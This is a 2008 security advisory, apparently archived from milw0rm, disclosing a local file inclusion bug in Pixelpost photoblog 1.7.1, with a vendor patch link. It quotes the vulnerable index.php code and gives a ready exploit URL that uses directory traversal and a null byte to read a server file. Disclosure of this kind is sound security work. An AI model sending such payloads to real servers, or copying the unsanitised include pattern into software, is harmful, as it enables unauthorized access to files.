91 lines
No EOL
3.6 KiB
Text
91 lines
No EOL
3.6 KiB
Text
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-033
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Application: Pixelpost photoblog
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Versions Affected: 1.7.1
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Vendor URL: http://www.pixelpost.org/
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Bug: Local File Include
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Exploits: YES
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Reported: 22.07.2008
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Vendor response: 23.07.2008
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Solution: YES
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Date of Public Advisory: 28.07.2008
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Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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Pixelpost photoblog has local file include vulnerability in script index.php
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Successful exploitation requires that "register_globals" is enabled.
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Code
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****
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#################################################
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$PP_supp_lang = array('dutch'=>array('NL','Nederlands'),
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'english'=>array('EN','English'),
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'french'=>array('FR','Francais'),
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'german'=>array('DE','Deutsch'),
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'italian'=>array('IT','Italiano'),
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'norwegian'=>array('NO','Norsk'),
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'persian'=>array('FA','Farsi'),
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'polish'=>array('PL','Polskiego'),
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'portuguese'=>array('PT','Portugues'),
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'simplified_chinese'=>array('CN','Chinese'),
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'spanish'=>array('ES','Espanol'),
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'swedish'=>array('SE','Svenska'),
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'danish'=>array('DK','Dansk'),
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'japanese'=>array('JP','Japanese'),
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'hungarian'=>array('HU','Magyar'),
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'romanian'=>array('RO','Romana'),
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'russian'=>array('RU','Russian'),
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'czech'=>array('CS','Cesky')
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);
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...
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if(isset($_GET['lang'])) { $language_abr = substr($_GET['lang'],0,2); }
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foreach ($PP_supp_lang as $key => $row) {
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foreach($row as $cell){
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if ($cell == strtoupper($language_abr)) { $language_full = $key; }
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}
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}
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...
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if(!empty($language_full)) {
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if(file_exists("language/lang-".$language_full.".php")) {
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if( !isset($_GET['x'])OR($_GET['x'] != "rss" & $_GET['x'] != "atom")) {
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require("language/lang-".$language_full.".php");
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}
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}else{
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...
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#################################################
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Example:
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http://[server]/[installdir]/index.php?lang=DSecRG&language_full=../../../../../../../../../../../../../boot.ini%00
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Solution
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********
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Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:
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http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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Contact: research [at] dsec [dot] ru
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http://www.dsec.ru (in Russian)
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# milw0rm.com [2008-07-28] |